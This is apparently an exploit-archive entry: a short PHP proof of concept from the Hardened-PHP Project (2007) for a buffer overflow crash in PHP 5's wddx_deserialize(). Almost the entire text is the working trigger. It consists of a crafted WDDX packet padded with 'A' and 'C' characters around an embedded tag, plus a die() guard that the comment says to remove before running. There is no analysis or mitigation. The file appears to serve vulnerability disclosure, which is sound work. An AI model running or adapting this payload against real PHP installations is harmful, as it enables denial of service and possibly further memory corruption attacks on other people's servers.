PHP 5 - 'wddx_deserialize()' String Append Crash

<?php
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  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                PHP - wddx_deserialize() Crash Exploit              //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // The following testcode will overflow the buffer with lots of C

  wddx_deserialize(
    "<wddxPacket version='1.0'><header/>
        <data>
            <array length='1'>
                <string>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<X />CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC</string>
                <string></string>
            </array>
        </data>
    </wddxPacket>");
?>

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